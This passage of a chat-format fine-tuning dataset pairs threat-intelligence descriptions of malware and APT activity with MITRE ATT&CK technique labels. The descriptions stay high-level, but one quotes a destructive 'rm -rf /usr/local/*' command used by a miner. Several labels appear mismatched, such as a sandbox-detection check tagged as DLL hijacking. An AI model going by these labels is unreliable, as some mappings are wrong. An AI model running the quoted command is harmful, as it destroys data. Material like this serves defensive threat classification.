                "content": "It uses virtualization software – QEMU on macOS and VirtualBox on Windows – to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. The admins of the site also frequently update the applications with newer versions, making it difficult to track the very first version of the miner. 2) Shell scripts used to launch the QEMU images. qemuservice shell script . After the dependencies are copied over, all miner-related daemons are launched and then the actual software is installed: - qemuservice won’t launch the image if the Activity Monitor process is running. In fact, if it is running, it will unload the plist that it was launched by. Before installation, version 1 of the miner is removed along with executing the command: rm -rf /usr/local/* . As seen in the listing in Script 2, it only does so when it detects a running qemu-system-x86_64 process. Launching the Linux image . All versions use multiple shell scripts to launch the images. Version 1 executes the following binaries (copies of qemu-system-x86_64) to launch the QEMU images: qemu-system-x86_64, system-monitor, tools-service. All versions use the following switches: - -M accel=hvf to use the Hypervisor framework as an accelerator. There are, however, some hints that can help you to identify when an application contains unwanted code: - A trust popup from an unexpected, “additional” installer (in this case the Oracle network adapter). - High CPU consumption by a process you did not install (QEMU or VirtualBox in this case). - A new service added to the startup services list (Windows) or a new Launch Daemon (macOS). - Network connections to curious domain names (such as system-update[.]info or system-check[.]services here). Indicators of Compromise (IoCs) . Hashes . macOS “cracked” applications (versions 1-3) . Windows “cracked” applications (version 4) . Linux images . Filenames . macOS . Windows . Hostnames . Download hosts (via HTTP on port 80) . Update hosts (via SCP) . Mining hosts . MITRE ATT&amp;CK techniques . 20 Jun 2019 - 11:00AM . Sign up to receive an email update whenever a new article is published in our Ukraine Crisis – Digital Security Resource Center . Newsletter . Similar Articles . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies – it just gets more targeted . Anatomy of native IIS malware . Some URL shortener services distribute Android malware, including banking or SMS trojans . Discussion"
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke's miner has created UPX-packed files in the Windows Start Menu Folder."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can create a remote shell and run a given command."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs itself as a new service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used a valid account to maintain persistence via scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 created a RAR archive of targeted files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM is capable of using Windows hook interfaces for information gathering such as credential access."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is controlled via commands that are appended to image files."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is performed by checking if the following libraries are loaded on the victim machine.SbieDll.dll (sandboxie library)Dbghelp.dll (Microsoft debugging tools)Api_log.dll (threatAnalyzer / GFI SandBox)Dir_watch.dll (threatAnalyzer / GFI SandBox)We were able to uncover some other techniques used by this variant of ROKRAT to make analysis difficult, Group 123 used an anti-debugging technique related to NOP (No Operation).nop dword ptr [eax+eax+00h] is a 5 byte NOP"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT has been delivered via spearphishing emails that contain a malicious Hangul Office or Microsoft Word document."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Janicab used a cron job for persistence on Mac devices."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From September to December 2018 the RTM group sent out more than 11,000 malicious emails. The cybercriminals, however, are not going to stop there, as evidenced by the new malicious campaigns that we track as part of our ongoing threat intelligence activities. Where do we begin our search. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\\Users\\%username%\\), and extract data from it using RegRipper. In general, you do not have to stick to the Sleuth Kit at all; there are more convenient tools like FTK Imager, a free tool, which can be used not only to create forensic images, but also to examine their contents. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Judging by the file's size, it has nothing to do with the original msi.dll, so it is clearly DLL Search Order Hijacking. The operating system starts searching for the necessary libraries from the current directory, which means that instead of the legitimate msi.dll, the one located in b7mg81 will be loaded. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our \"TeamViewer\" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad. I think what we can use the Sleuth Kit again"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has collected the host name and operating system product name from a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used cmd.exe likely as a password changing mechanism."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound used FireMalv, custom-developed malware, which collected passwords from the Firefox browser storage."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used AdFind to enumerate remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, and in the Program Files directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects into the Internet Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a batch file to kill a security program task and then attempts to remove itself."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has weaponized CHM files in their phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains UAC bypass code for both 32- and 64-bit systems."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can capture session logon details from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has downloaded additional scripts and files from adversary-controlled servers.  has also used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To establish persistence, Truvasys adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ConnectWise can record video on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This excellent whitepaper by William Ballenthin, Matt Graeber and Claudiu Teodorescu contains additional information on WMI offense, defense and forensics"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used multiple command-line utilities to enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dipsind encrypts C2 data with AES256 in ECB mode."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impacket modules like ntlmrelayx and smbrelayx can be used in conjunction with Network Sniffing and LLMNR/NBT-NS Poisoning and SMB Relay to gather NetNTLM credentials for Brute Force or relay attacks that can gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We did not observe the initial access for this case but assess with medium to high confidence that a malicious email campaign was used to deliver an Excel (xls) document. Following the opening of the xls document, the initial Qbot DLL loader was downloaded and saved to disk. Interestingly, the name of the DLL contained a .html extension to disguise the portable executable nature of the payload. Once executed, the Qbot process creates a scheduled task to elevate itself to system."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has delivered spearphishing emails with malicious attachments to targets."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 have enumerated files and directories, or searched in specific locations within a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE stages the output from command execution and collected files in specific folders before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack used hard-coded credentials to gain access to a network share."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "maintains access to victim environments by using  to access  as well as establishing a backup RDP tunnel by using ."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can execute \"GetLocalTime\" for time discovery."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to obtain a listing of running processes (including loaded modules)."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used PowerSploit's Invoke-Kerberoast module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can add a service named \"wind0ws\" to the Registry to achieve persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor. The PowerShell backdoor has the following capabilities"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery', 'T1518 - Software Discovery', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has a command to list account information on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used a fronted domain to obfuscate its hard-coded C2 server domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve files."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost. Create a Safe Array and copy the decrypted FoggyWeb backdoor bytes to the array. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost"
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to start and stop a specified service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to brute force password hashes to be able to leverage plain text credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the execFile function to execute a specified file on the system using the NSTask:launch method."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has copied itself to and infected removable drives for propagation."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, HyperStack undergoes a similar registry key check to Turla’s RPC backdoor and updates the same registry key to determine which named pipes can be accessed anonymously. The HyperStack backdoor first copies itself to C:\\ADSchemeIntegrity.exe and then installs itself with system-level privileges as the service Active Directory Scheme Integrity Service. HyperStack checks for the following registry entry and, when found, adds the name of its communication pipe (‘adschemerpc’) to the key value"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can use a decryption algorithm for strings based on Rotate on Right (RoR) and Rotate on Left (RoL) functionality."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim’s system regardless whether macros are enabled"
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin has mimicked the Cron binary to hide itself on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak has a command to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can browse directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
